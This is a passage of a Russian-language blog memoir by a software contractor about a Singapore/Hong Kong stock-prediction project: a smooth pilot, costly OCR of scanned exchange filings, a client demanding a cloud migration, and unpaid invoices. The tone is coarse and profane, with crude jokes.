  <p id="XpQA">Эффектная, умная, образованная и с хорошими формами — Катрин работала на Томаса и будучи чем-то средним между COO, CFO и <s>балериной-космонавтом</s> секретаршей-аналитиком, быстро стала связующим звеном между придурковатым Ченгом-младшим и нашей разработкой.</p>
  <p id="CSGh">Как выяснилось потом, Катрин оказалась непростым персонажем — с сюрпризом. </p>
  <blockquote id="01HL">Не <em>с тем самым сюрпризом</em>, про который сейчас подумали юные любители Таиланда, вовсе нет. </blockquote>
  <p id="U3nY">Все оказалось гораздо хуже, причем хуже в первую очередь для нас — простых исполнителей, не для Томаса и его сказочного проекта.</p>
  <p id="OvEo">Наконец последним фактором, внесшим разлад в наши стройные ряды и серьезно повлиявшим на дальнейшие события, была дурацкая попытка моего тогдашнего партнера.. приударить за Катрин.</p>
  <p id="0Y4j">«Не ну, а чо», красивая и умная женщина, теплый экзотический Гонконг — почему нет?</p>
  <p id="Y8oW">Например потому, что <s>романы на работе плохо заканчиваются</s> на свете нет чудес.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="JJB2">Умный человек никогда не будет <em>просто так</em> работать на идиота.</p>
  </section>
  <p id="xGOp">Катрин была умной, Ченг-младший — <s>тупым</s> откровенно недалеким. </p>
  <p id="nlrC">Столь противоестественный союз мог держаться только на какой-то тайне — скрытом нюансе, суть которого оказалась крайне неприятным сюрпризом.</p>
  <p id="OkuM">На всякий случай напоминаю, что «нюанс» не имел отношения ни к физиологии Катрин, ни к ее сексуальным талантам.</p>
  <blockquote id="h3FC">Тем не менее, крайне рекомендую проверять отсутствие кадыка у дам в странах юго-восточной Азии, прежде чем с ними уединяться. </blockquote>
  <p id="Zsjc">Во избежание неприятных сюрпризов в самый ответственный момент — можете считать это официальной рекомендацией.</p>
  <figure id="URzZ" class="m_column">
    <img src="https://img3.teletype.in/files/eb/36/eb369b27-904a-4fcc-9e8b-311c34f33ed8.jpeg" width="1280" />
    <figcaption>Сезон дождей в Сингапуре, дождь мог лить месяцами.</figcaption>
  </figure>
  <h2 id="RH2s">Таможня дает добро</h2>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="GCfS">Стадию пилота мы прошли быстро, красиво и без проблем.</p>
  </section>
  <p id="IBcP">Несмотря на всю дурость заказчика, в лице Томаса.</p>
  <p id="D3Zv">Много позже придет понимание, что отсутствие проблем на стадии пилота означает <s>п#здец</s> глобальные проблемы у самого проекта — вплоть до его закрытия и распродажи имущества компании после банкротства.</p>
  <p id="zmq5">Пилотное внедрение для того и делают, чтобы собрать все возможные проблемы и недочеты. Если таковых нет, значит сам проект — мертв.</p>
  <blockquote id="H0pm">Но тогда мы были юны и наивны, поэтому лишь радовались быстрому успеху.</blockquote>
  <p id="Ui9U">Столь важное событие — успешную сдачу пилотного проекта, тем более для богатого иностранного заказчика было решено отметить.</p>
  <p id="OYSk">..</p>
  <p id="7YeV">— Ребята, вы ооофигенные молодцы! За вас, за нас и <s>нефтегаз</s> проект!</p>
  <p id="b8sJ">Вообще-то Ченг-младший вполне мог позволить себе ванну из шампанского «Crystal» и регулярно приезжал в офис на спорткаре. </p>
  <figure id="VZWH" class="m_column">
    <img src="https://img3.teletype.in/files/ad/26/ad2698b4-e3db-4117-88a9-84a70351e475.jpeg" width="2560" />
    <figcaption>Парковка у офиса местных криптанов. Шучу, просто случилась какая-то выставка и тачки пригнали со всего Сингапура.</figcaption>
  </figure>
  <p id="kDdc">Личном или арендованном — другой вопрос, задавать который мы постеснялись, однако капитал явно присутствовал, даже можно сказать «витал в воздухе».</p>
  <p id="D3du">Но в тот вечер, ради общения с <s>таким быдлом</s> отличными исполнителями, Томас снизошел до банального пива, видимо вспомнив историю нашего знакомства в аэропорту.</p>
  <p id="pELd">— Я вами очень впечатлен. Будем работать!</p>
  <p id="yjPb">Чел в дорогом костюме, в 27 лет паркующий спорткар у собственного офиса и только что выписавший вам солидный чек за завершенный проект, говорит «Будем работать».</p>
  <p id="Z7NN">Признайтесь честно: абсолютно любому в такой момент снесло бы башню. Конечно мы не стали исключением. </p>
  <p id="VmZT">Еще тогда мы впервые узнали, кто именно финансирует весь этот праздник жизни.</p>
  <p id="Pwpl">— Господа<s>-офицеры</s>, нас ждут великие дела! </p>
  <p id="MrVa">— Больше бирж, больше документов, больше <s>угара</s> прогнозов — впереди только рост, только развитие и новые победы!</p>
  <p id="hd96">Папа дает добро.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Dlxy">$500k бюджета, на год работы.</p>
  </section>
  <p id="CIwm">Прежде чем <s>онанировать</s> медитировать на эту огромную по меркам обывателя сумму, стоит узнать о паре нюансов.</p>
  <p id="mgqG">На случай, если вдруг захотите повторить.</p>
  <figure id="spqN" class="m_column">
    <img src="https://img2.teletype.in/files/1f/bc/1fbc5007-29fb-4742-8334-7c02e546cced.jpeg" width="2560" />
    <figcaption>Мой боевой Lenovo Z580, который когда-то был черным, на фоне - какой-то роллс-ройс.</figcaption>
  </figure>
  <h2 id="k3gR">Нюансы и мелочи</h2>
  <p id="u6u6">Как уже упомянул выше, <s>жопой</s> сердцем проекта была система предсказания курса акций компаний, которые торгуются на биржах.</p>
  <p id="c4hh">Предсказания строились весьма незатейливым образом:</p>
  <blockquote id="uZVl">отбирались «киты» — крупные инвестиционные фонды и частные инвесторы, чьи операции покупки-продажи акций на биржах отслеживались путем анализа первичных документов, в первую очередь отчетности.</blockquote>
  <p id="Om1f">Если условный «<a href="https://en.wikipedia.org/wiki/BlackRock" target="_blank">BlackRock</a>» покупал долю в компании, предполагалось что стоимость ее акций будет расти, если продавал — падать. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="p3xY">Если условный <a href="https://en.wikipedia.org/wiki/Warren_Buffett" target="_blank">Уоррен Баффет</a> входил в совет директоров, считалось что курс акций компании вырастет, если покидал — начнет падать. </p>
  </section>
  <p id="XsqB">Всего подобных признаков было около сотни — вполне достаточно для простейших «предсказаний».</p>
  <p id="CwYh">Поскольку публичные компании обязаны отчитываться о любых изменениях в совете директоров, покупках-продажах и новых выпусках акций  — весь этот «инвестиционный движ» можно было отследить, изучая публикации документов на бирже.</p>
  <p id="yNc2">Дальше все упаковывалось в красивые рекомендации, которые затем появлялись в мобильном приложении для <s>ушастых</s> пользователей, рядом с большими, яркими кнопками «Купить» и «Продать».</p>
  <blockquote id="lYc3">Сложно сказать, насколько весь этот <s>лохотрон</s> замечательный проект был успешен, поскольку финансовую отчетность нам не показывали.</blockquote>
  <p id="REce">Но широкая улыбка никогда не покидала лица Томаса Ченга.</p>
  <h3 id="qDah">Нюанс первый</h3>
  <p id="sLiW">Каждая биржа (например <a href="https://en.wikipedia.org/wiki/New_York_Stock_Exchange" target="_blank">NYSE</a> — нью-йоркская фондовая биржа), помимо публикации оригинальных документов с отчетностью по компаниям, предоставляла еще и официальные платные выгрузки данных, обычно в CSV или XML.</p>
  <p id="CFhw">Эти данные — <strong>полные</strong> и проверенные (в том числе живым человеком) идеально подходили для задач анализа, вроде нашей.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="zC1Y">Проблема была лишь в цене — стоили эти выгрузки как самолет. </p>
  </section>
  <p id="YLpP">Не помню точный прайс, разный для каждой биржи, но речь шла о десятках тысяч долларов.</p>
  <h3 id="NQS8">Нюанс второй</h3>
  <p id="mzGD">Оригиналы документов представляли собой (чаще всего) многостраничные PDF, внутри которого находились картинки, отсканированные с факса.</p>
  <p id="ILFi">Типа такого:</p>
  <figure id="64gI" class="m_column">
    <img src="https://img2.teletype.in/files/5b/c0/5bc060c2-3569-4a44-a2c4-ba29c1e41e91.png" width="1105" />
    <figcaption>И это еще не самый сложный вариант.</figcaption>
  </figure>
  <p id="hKW6">Из документа выше необходимо было вытащить содержимое таблицы и как минимум номер ACN, естественно в «машинном» формате — убрав все пробелы, проценты, дроби и запятые.</p>
  <p id="WtvR">Поскольку документы сканировались вручную и не предназначались для автоматической обработки, очень часто страницы имели наклон, засветку или даже другой формат — в одном PDF запросто чередовались альбомные и книжные страницы.</p>
  <p id="EMCN">К тому же вытаскивать было необходимо далеко не все данные, при этом нужная информация запросто могла оказаться не на второй странице, а скажем на десятой или даже двухсотой. </p>
  <p id="PMqy">Чтобы все это обрабатывать мы реализовали специальный язык (DSL) на базе JRuby, на котором и реализовали высокоуровневую логику обработки, спрятав технические детали вроде OCR, разбора PDF и алгоритмов очистки в специальных функциях. </p>
  <p id="6Wn1">Не буду дальше углубляться в технические детали, кому интересно — есть <a href="https://blog.0x08.ru/projects-data-processing-2017" target="_blank">отдельная статья</a>.</p>
  <p id="gZWt">Всего в рамках проекта планировалось охватить 28 бирж, от 2 до 200 тысяч компаний на каждой, в среднем по десять форм отчетных документов по каждой компании. </p>
  <p id="cJgt">И все это за период в 5-7 лет, в зависимости от биржи. </p>
  <h3 id="gKvw">Нюанс третий</h3>
  <p id="tHub">Теперь самое важное: </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="5xIx">всю эту жесть с оптическим распознаванием факсов мы <strong>не планировали</strong> </p>
  </section>
  <p id="a8Lw">Поскольку пилот прошел на кристально чистых данных <a href="https://www.sgx.com/" target="_blank">сингапурской фондовой биржи</a>, где была жесткая дисциплина и у всех PDF-документов был отдельный текстовый слой, естественно легко читаемый.</p>
  <blockquote id="AJBo">Про остальные биржи, до момента завершения пилота заказчик в лице Томаса рассказать не посчитал нужным.</blockquote>
  <p id="DwQJ">Так что разница в сложности между пилотом и основным проектом оказалась как между детским увлечением ракетным моделированием и запуском настоящей ракеты с Байконура.</p>
  <p id="AJTS">Но осознали это мы далеко не сразу.</p>
  <figure id="xgEr" class="m_column">
    <img src="https://img1.teletype.in/files/c7/b1/c7b1a19b-1442-46b8-81ea-f99edac59c49.jpeg" width="2560" />
    <figcaption>Дежавю? Потому что этими улочками вдохновлялись создатели Cyberpunk 2077.</figcaption>
  </figure>
  <h2 id="f3w8">Король говорит</h2>
  <p id="eola">Если честно, я мало что понимаю в китайской культуре, поэтому большая часть внутреннего убранства в кабинете мистера Лу Ченга так и осталась для меня загадкой.</p>
  <p id="zGTi">Разумеется живя в Сингапуре, видел <s>всякое</s> и «Китайский Новый год» и ритуал сжигания фальшивых денег. Даже успел узнать, что статуэтка огромной жабы приносит финансовую удачу.  </p>
  <blockquote id="hIjU">Но почему-то не финансовую грамотность.</blockquote>
  <p id="njIV">Как бы то ни было, мои познания были на уровне «красных шаровар и самовара у русских» — набора стереотипов, мало отражающих реалии.</p>
  <p id="DMwa">Однако мистер Лу Ченг явно жил в гармонии со своими корнями и не испытывал никакого диссонанса от 21го века. </p>
  <p id="Bahn">Мне же как «технарю» в первую очередь бросилось в глаза отсутствие какой-либо электроники:</p>
  <blockquote id="k2pr">ни мобильного телефона, ни планшета, ни ноутбука или стационарного компьютера в кабинете не было.</blockquote>
  <p id="IymD">Мистер Лу пользовался исключительно ручкой и бумагой, для всего остального у него был секретарь.</p>
  <p id="hjeU">— Алекс, Павел, простите за ожидание. </p>
  <p id="CsBO">— Рад наконец познакомиться лично. Как вам Гонконг?</p>
  <p id="EVHk">Вставший из-за стола пожилой китаец, несмотря на возраст имел идеальную выправку. Еще он отлично говорил по-английски, практически без акцента и придерживался западных норм этикета — мы у него были явно не первыми «европейскими гостями».</p>
  <p id="bgu0">— Томас много о вас рассказывал, очень впечатлился вашей работой..</p>
  <p id="wUzo">— ..но мне все же хотелось встретиться лично. Понимаете, я старый человек и привык видеть людей с которыми веду дела.  </p>
  <p id="Sx76">Мистер Лу взял со стола копию нашего договора, пролистав до страницы с оценкой бюджета.</p>
  <p id="mehD">— То что вы просите, это большие деньги. Серьезная сделка.</p>
  <p id="RbLg">Мы с партнером переглянулись.</p>
  <p id="CjRO">— Вообще-то Томас утверждал, что уже согласовал бюджет с вами. </p>
  <p id="8pRc">Конечно ситуация была не нова — с увеличением цены, уровень п#здобольства посредников растет в геометрической прогрессии и фразу «тут решаю я» вы услышите еще не раз. </p>
  <blockquote id="3qnJ">Пока не дойдете до финального босса.</blockquote>
  <p id="tggd">Но в случае с Ченгами, мы действительно убили много времени на подготовку и не очень обрадовались перспективе повторить этот процесс.</p>
  <p id="n6OF">— Ну он что-то такое рассказывал, да. Но поймите, я старый человек..</p>
  <p id="ihZw">— Мистер Лу, если считаете, что <em>для вас</em> это слишком дорого — можем сделать переоценку проекта. Какие-то из задач уберем. Но это займет время и сроки начала работ сдвинутся.</p>
  <p id="Xp9Y">Ченг-старший нахмурился, легкий намек на финансовую несостоятельность его явно огорчил.</p>
  <p id="MRXZ">— Расскажите за что я плачу. </p>
  <p id="rIvO">Лу Ченг указал пальцем на договор.</p>
  <p id="SQ0t">— В чем суть всего этого?</p>
  <p id="YPmW">..</p>
  <p id="9l6a">Ну что мои дорогие «просто программисты», как там поживает ваша усталость от общения с «непонимающими идиотами»?</p>
  <blockquote id="vxx5">Попробуйте объяснить китайскому дедушке, привыкшему вести дела только ручкой и бумагой, на что пойдут его деньги, выделяемые под ИТ-проект — быстро поймете, что такое настоящая проблема.</blockquote>
  <p id="FROn">Но нам все же удалось.</p>
  <p id="OHHo">Несколько долгих часов спустя, мы покинули офис мистера Ченга, унося с собой подписанный договор на полмиллиона долларов. </p>
  <figure id="FOam" class="m_column">
    <img src="https://img4.teletype.in/files/75/75/7575e957-113d-422a-b0c8-7ea698695df5.jpeg" width="2560" />
    <figcaption>Еще немного Гонконга.</figcaption>
  </figure>
  <h2 id="fF57">Предстартовая подготовка</h2>
  <p id="FOYQ">Если вы что-то понимаете в заказной разработке как бизнесе, думаю прекрасно понимаете, что должно происходить в таких случаях:</p>
  <blockquote id="xtKf">команду немедленно усиливают, либо нанимая в штат, либо подключая разработчиков из соседних компаний.</blockquote>
  <p id="fFPv">Потому как не бывает свободных команд, сидящих «на низком старте» в ожидании проекта. </p>
  <p id="rMPF">Точнее бывает, но очень недолго и лишь у самых крупных компаний: </p>
  <blockquote id="iQMH">ЕПАМ, Люксофт, Accenture — такого масштаба. </blockquote>
  <p id="AyoB">Всем остальным при любом более-менее серьезном проекте, приходится либо быстро нанимать с улицы, либо звать на помощь коллег.</p>
  <p id="ibnG">Прикинув график выплат за закрытие этапов работ и серьезно подумав, решили справляться своими силами, подключив лишь аналитика и тестировщиков.</p>
  <blockquote id="UeAH">Что в дальнейшем только продлило агонию, создав иллюзию, что ресурсов хватит и успех еще достижим.</blockquote>
  <p id="yars">Замечу, что финансовое планирование — крайне занимательное занятие, которое быстро дает понять, что ничем кроме наркоторговли, нефти и проституции заниматься вообще не стоит, ввиду невыгодности.</p>
  <p id="qH3J">Можете обчитаться умными книгами по работе с клиентами, планированию, ведению проектов и оценке рисков — в реальности все сведется к 5% марже, кредитам и ипотеке. В хороший год.</p>
  <figure id="ztGw" class="m_column">
    <img src="https://img3.teletype.in/files/a3/8e/a38ec35e-de62-40da-b9d0-771af4a3101c.jpeg" width="1280" />
    <figcaption>Центр Сингапура. И сингапурцы.</figcaption>
  </figure>
  <h2 id="SGlW">Тучи сгущаются</h2>
  <p id="2k3i">Чтобы получить нечто большее чем кредиты и ипотека, приходится <s>ходить в набеги</s> идти на серьезный риск. И принимать всю ответственность за возможный провал — сообщаю на случай, если не понимаете, зачем было во все это лезть. </p>
  <p id="Zkt8">..</p>
  <p id="GtyQ">— Привет, есть минутка? Надо обсудить по проекту.</p>
  <p id="XfZH">Наш любимый аналитик, назовем ее Верочкой, выручала нас бессчетное количество раз. </p>
  <p id="E6Lp">Один из тех редких случаев, когда человек действительно оказался на своем месте, попав в аналитики не по <s>залету</s> воле случая, а целенаправленно — сначала обучившись, а затем много лет работая по профилю. </p>
  <p id="VJlV">Мнению Верочки мы действительно доверяли и только ее ребята всегда искренне поздравляли со всеми праздниками.</p>
  <p id="NDeI">— Посмотрела наконец все документы, ну.. выборочно. Но всех нужных нам типов и форм, по всем биржам. </p>
  <p id="eTSl">— Думаю у нас проблема.</p>
  <p id="GEDV">Разумеется мы не #бнулись до такой степени, чтобы подписывать крупный контракт, не изучив возможные риски. Поэтому еще до выноса мозга в кабинете «дедушки Лу» прекрасно понимали, что будет непросто.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="N7Lv">Но нельзя проверить <strong>абсолютно все</strong>, особенно на крупном проекте.</p>
  </section>
  <p id="iZqk">Всегда остается шанс упустить что-то важное.</p>
  <p id="56wr">..</p>
  <p id="sJxA">— Слишком много вариаций. </p>
  <p id="2Ovp">— Вот смотри, форма «23-B». В разные годы (требовалось обрабатывать документы минимум за 5 лет) формат немного отличается. Нашла три варианта, которые точно придется учитывать по всем компаниям на этой бирже.</p>
  <p id="QXDC">— Часть форм заполнена от руки, затем отсканирована. Таких к счастью мало. Теперь самое печальное: </p>
  <blockquote id="XH52">есть три биржи, где все документы на национальных языках.   </blockquote>
  <p id="JKla">Типа такого:</p>
  <figure id="CQiF" class="m_column">
    <img src="https://img3.teletype.in/files/a5/9a/a59a6dbf-d704-4c1f-b99d-34c2c674b447.png" width="790" />
    <figcaption>Видите круглую красную печать справа? Это печать на бумажном оригинале, временами ее лепили прямо по центру, поверх текста.</figcaption>
  </figure>
  <p id="u6AB">— Тут есть дублирование на английском, сможем привязаться к английскому тексту. С вьетнамским будут проблемы, но тексты на национальных языках нам и не нужны, только цифры.</p>
  <p id="H2xK">— Да, но таких документов очень много.. в разных вариациях, с рукописным заполнением..</p>
  <p id="ptta">— Бюджет тоже немаленький, справимся.</p>
  <p id="FkIa">..</p>
  <p id="pZy5">Вскоре состоялся созвон с представителем заказчика — Катрин, предвестницей апокалипсиса.</p>
  <p id="i93y">— Катрин привет! </p>
  <p id="lDOK">— Тут у нас непредвиденные трудности, хотим немного поменять план работ, передвинуть пару этапов. Нет, ничего не случилось, небольшие технические нюансы, нет смысла беспокоить Томаса.</p>
  <p id="3AGv">Мы всего лишь хотели переставить местами этапы: </p>
  <blockquote id="yCgX">сначала закончить работу с биржами, где были документы без национальных языков и рукописного заполнения. </blockquote>
  <p id="cxdN">Проблемные закрыть позже, с помощью интерфейса оператора, где живой человек мог бы корректировать результаты обработки для сложных случаев.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="puCa">Все просто, красиво и логично.</p>
  </section>
  <p id="ScZr">У нас были хорошие отношения с обоими Ченгами, у партнера — адюльтер с Катрин, формального представителя компании-заказчика.</p>
  <p id="jf0L">И абсолютно ничего не предвещало беды.</p>
  <figure id="f8Ie" class="m_column">
    <img src="https://img1.teletype.in/files/05/1a/051a69a8-c25d-496b-8d83-b28054cc66d4.jpeg" width="2560" />
    <figcaption>Снова улицы Гонконга.</figcaption>
  </figure>
  <h2 id="f7Us">Стремительное падение</h2>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="ceYF">Чужие тайны — всегда про плохое, поскольку люди скрывают только разнообразные мерзости.</p>
  </section>
  <p id="QZY3">Нет смысла утаивать занятия спортом, фотографирование котиков или помощь сиротам. Зато половые девиации, алкотрипы, увлечение веществами, воровство и прочий криминал — всегда заметаются под ковер.</p>
  <blockquote id="non9">Давно осознав эту простую истину, мы не интересовались происходящим на стороне клиента, стараясь не лезть во внутренние дела.</blockquote>
  <p id="pGT6">С Катрин было что-то явно не так, недомолвки и пропадания по нескольку дней случались с ней и Томасом регулярно. Как и непонятные для нас кадровые перестановки — что-то происходило в компании Ченгов.</p>
  <p id="6dZW">Стоило применить свои «особые таланты» и выяснить-таки положение дел? Может быть.</p>
  <p id="yeLa">Но «задним умом все крепки» и обсуждать, как следовало поступить <s>маршалу Жукову</s> ныне можно бесконечно. </p>
  <p id="CmtE">..</p>
  <p id="BSMk">Сначала начались задержки по оплате.</p>
  <p id="XOGY">«Забыли перевести», «абонент недоступен», «я перезвоню», «извините, завтра» и непрочитанные сообщения — думаю это видели все.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="sU34">Как только доходит до проблем с оплатой — все ведут себя одинаково, вне зависимости от размера долга, возраста, происхождения или социального положения.</p>
  </section>
  <p id="XOvp">С радостью и улыбкой платят только шлюхам и жуликам, всем остальным долги приходится в том или ином виде <strong>выбивать</strong>. Задумайтесь о смене деятельности если вас это огорчает.</p>
  <p id="hkSE">После задержек с оплатой пришли и первые претензии.</p>
  <figure id="qyLg" class="m_column">
    <img src="https://img1.teletype.in/files/c0/8b/c08bb4c2-853b-4643-a8a7-3273bc760ee8.jpeg" width="1280" />
  </figure>
  <h2 id="FQUE">Облачная история</h2>
  <p id="3biI">— Алекс, мне неприятно это говорить, но вы не справляетесь.</p>
  <p id="9GNl">Вообще-то я приехал к Томасу для прояснения финансовых вопросов — за Ченгами накопился долг.</p>
  <p id="K5Gk">— Печально такое слышать, приношу искренние извинения если качество работ не устроило. Что именно вызвало сомнения?</p>
  <p id="dWyy">На самом деле мы успели закрыть этап с пятью первыми биржами без особых нареканий. Плюс успешный пилот. </p>
  <p id="JbiO">Единственное, что на тот момент шло не по плану это очередность этапов.</p>
  <p id="YWys">— Неважно. </p>
  <p id="Tdes">Считывать эмоции по лицу азиата весьма непросто, но поза и жесты его выдавали. Томас нервничал.</p>
  <p id="196n">— Был проведен аудит проекта, позвал своего знакомого «эксперта по компьютерам». Учились вместе. </p>
  <p id="hU2M">— Очень умный парень, делает стартап в Долине.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Lbaj">— Эксперт сказал, что все плохо, потому что у вас Java</p>
  </section>
  <p id="n9i1"> — И я ему верю.</p>
  <p id="apWm">..</p>
  <p id="zMup">Когда в следующий раз начнете возмущаться на тему сертификации и подтверждения компетенций — вспомните этот эпизод. </p>
  <p id="gUxF">Таких «экспертов», утверждающих что «все плохо» на моей практике был не один десяток и каждый раз их советы имели разрушительный эффект.</p>
  <p id="F9mL">— А можно получить заключение этого.. «эксперта»? </p>
  <p id="7NRI">— Ну.. он же наверное оставил документ или электронное письмо с описанием наших <s>грехов</s> проблем? Мы были бы очень благодарны и смогли что-то поправить в проекте.</p>
  <p id="VjCI">Томас посмотрел на меня долгим взглядом человека, узревшего истину.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="sT7G">— Нет, он просто немного полистал код и рассказал свое видение.</p>
  </section>
  <p id="t4LZ">Замечу, что это произнес отлично образованный молодой бизнесмен в дорогом костюме, CEO собственной компании. </p>
  <p id="TCwL">Не безработный шизоид из интернета.</p>
  <p id="U3jk">..</p>
  <p id="0xLr">— Это уже неважно, тебя пригласили по другому поводу. </p>
  <p id="ua5b">— Есть новая задача.</p>
  <p id="lkiJ">Томас протянул распечатку презентации из PowerPoint, которую я из уважения начал листать.</p>
  <p id="CpZG">— Компания становится облачной, мы заключили партнерское соглашение с облачным провайдером и переносим всю инфраструктуру в облака.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="k7V6">Ну хоть не сразу на Марс.</p>
  </section>
  <p id="LgAF">Облачный провайдер оказался тем самым, очень известным, в котором работали Боб и Майк — дружелюбные бриты, обещавшие нам <s>минет</s> помощь и поддержку у дверей кабинета Лу Ченга, папы Томаса.</p>
  <p id="ymRy">Совпадение, не иначе.</p>
  <p id="aFNS">— Забудем о мелочах и недочетах. Хотя мне и кажется теперь, что вы недостаточно опытны для такого проекта. </p>
  <p id="Ni1t">— Даю второй шанс.</p>
  <p id="xVFf">Если вы, дорогой читатель — лишь простой разработчик и не имеете отношения к руководству, попробуйте за время чтения этой статьи посчитать, сколько раз вы бы послали нах#й всех этих замечательных людей. </p>
  <p id="RGYG">На какое количество оскорблений в лицо вас бы хватило.</p>
  <p id="6Cd4">— Проект надо перенести в облако, целиком. До конца года.</p>
  <p id="JyEn">— Томас, при всем уважении..</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="DGyx">— Увеличиваю бюджет, $200к сверху. Не надо торговаться и выносить мозг деталями. Просто сделайте. </p>
  </section>
  <p id="S5Ni">— Или валите нахер.</p>
  <p id="jTY7">..</p>
  <p id="NIxX">Это сейчас, спустя десять лет практики и регулярного участия в подобных переговорах, вряд ли получится меня впечатлить условиями или напугать последствиями.</p>
  <p id="Zg6D">Даже если переговоры будут на частной яхте, с парой фотомоделей под боком и винтажным <a href="https://www.idealwine.com/fr/acheter-du-vin/domaine-Comte%20Liger_Belair" target="_blank">Domaine du Comte Liger-Belair</a> в бокале — ответ будет стандартным:</p>
  <blockquote id="Cmai">обсудим с нашими специалистами, оценим работы, вышлем план</blockquote>
  <p id="rpqd">Но опыт не появляется на пустом месте, как вы понимаете.</p>
  <figure id="sgqY" class="m_original">
    <img src="https://img1.teletype.in/files/00/5c/005c65ea-7a76-4e1b-acec-c942fc86e900.gif" width="500" />
    <figcaption>Помните эту знаменитую сцену из х\ф <a href="https://en.wikipedia.org/wiki/Swordfish_(film)" target="_blank">Swordfish</a>? Рассказываю, чем такое заканчивается в реальности.</figcaption>
  </figure>
  <h2 id="X3eV">Голодная зима</h2>
  <p id="oShM">— Ну и что теперь со всем этим делать? </p>
  <p id="19Ss">Столь интересные новости стоило обсудить со своим партнером по «опасному бизнесу», что я и сделал, едва закончив общение с Ченгом-младшим.</p>
  <p id="7NTP">— Как там было у классиков? «Есть два стула»..</p>
  <p id="inOT">— Давай серьезно. Клиент увеличивает бюджет, это хорошо. </p>
  <p id="nZcW">— Клиент немного недоволен, хотя пока и непонятно чем. </p>
  <p id="ewt5">— Это плохо.</p>
  <p id="h7HN">— За Клиентом висит долг, не очень большой. </p>
  <p id="zvDa">— Это плохо.</p>
  <p id="hSOh">— Сумма долга для клиента равнозначна посещению борделя с вином и бл#дьми. Или сезонному обновлению гардероба.</p>
  <p id="1BWl">— Это хорошо.</p>
  <p id="Bi5R">— Типа «минус на минус дает плюс»? </p>
  <p id="NAMH">..</p>
  <p id="nFwv">Мы все же решились продолжать.</p>
  <p id="lNw2">Помимо <s>сказочного</s> серьезного бюджета, такой проект будучи реализованным и запущенным, позволил бы набрать компетенции в узкой области работы с биржами и первичными документами. </p>
  <p id="zuuV">И следующий десяток лет мы бы спокойно жили с доработок и сопровождения.</p>
  <blockquote id="Ymtd">В этом был главный смысл.</blockquote>
  <p id="kv71">Какую-то часть оплаты мы успели получить, но этого никак не хватало для завершения работ.  </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="MCFL">Пришло время оплачивать разработку из своего кармана.</p>
  </section>
  <p id="37sJ">..</p>
  <p id="nuqe">Когда с вашего личного счета впервые списывается сумма для оплаты месячного труда <strong>команды</strong> разработки — приходит осознание бренности бытия.</p>
  <blockquote id="GwTz">А идея устроить месячный загул, сняв бордель целиком и выкупив ближайшую винную лавку уже не кажется столь неразумной.</blockquote>
  <p id="8PBe">Смысл термина «<a href="https://en.wikipedia.org/wiki/Burn_rate" target="_blank">burn rate</a>», часто употребляемого в стартап-тусовке не будет понятен, пока «сжигаемые деньги» не окажутся вашими собственными.</p>
  <blockquote id="TbMe">Вы будете ходить на работу, устраивать совещания, закупать расходники для офиса, поздравлять с юбилеями, оплачивать выходные и больничные.</blockquote>
  <p id="KI0Z">А где-то за кадром будут гореть ваши собственные, с таким трудом заработанные капиталы.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="njru">Выдерживают такое очень далеко не все, поэтому не всем стоит заниматься бизнесом. </p>
  </section>
  <p id="oR3J">Чтобы там ни утверждали разнообразные интернет-коучи, обычная офисная работа с 9 до 5 за зарплату — <strong>не самый плохой вариант</strong>. </p>
  <p id="mu7I">Точно лучше, чем оказаться в дурке к 40 годам, могиле или рехабе из-за непрерывного стресса и перенапряжения.</p>
  <p id="A0Dt">..</p>
  <p id="vAwf">Шли дни, затем недели. </p>
  <p id="NA9S">С горем пополам, мы перенесли-таки всю обработку документов в облако. Там же — в облаке теперь работал и весь бекэнд с API для мобильных приложений. И даже панель администратора.</p>
  <p id="xioB">Все как заказывал Томас.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="LEDt">Фактически, было выполнено 2/3 работы и впереди просматривалась финишная черта. </p>
  </section>
  <p id="8NcZ">К сожалению Ченг-младший по всей видимости утратил интерес к проекту, наши отношения с последней встречи успели охладеть и всеми текущими вопросами теперь занималась Катрин. </p>
  <p id="qg8s">Их с Павлом «производственный роман» также сошел на нет, но обошлось без <s>мордобоя</s> разбитой посуды и взаимных оскорблений — все же взрослые люди.</p>
  <blockquote id="UcPv">Еще у нас заканчивались запасы денег, теперь уже наших собственных. </blockquote>
  <p id="7lvk">Надо было срочно что-то решать, поскольку проект высасывал ресурсы как пылесос, а завершить на свои уже не получалось. </p>
  <p id="BQ2b">..</p>
  <p id="r7TO">— Катрин приветствую. Прошу назначить встречу с Томасом. По поводу финансирования, все верно. </p>
  <p id="lnM7">— Предстоит непростой разговор.</p>
  <figure id="A5da" class="m_column">
    <img src="https://img1.teletype.in/files/ce/4b/ce4bb12f-422f-458e-85ea-61814d016214.jpeg" width="2560" />
    <figcaption>Вид на ночной Гонконг.</figcaption>
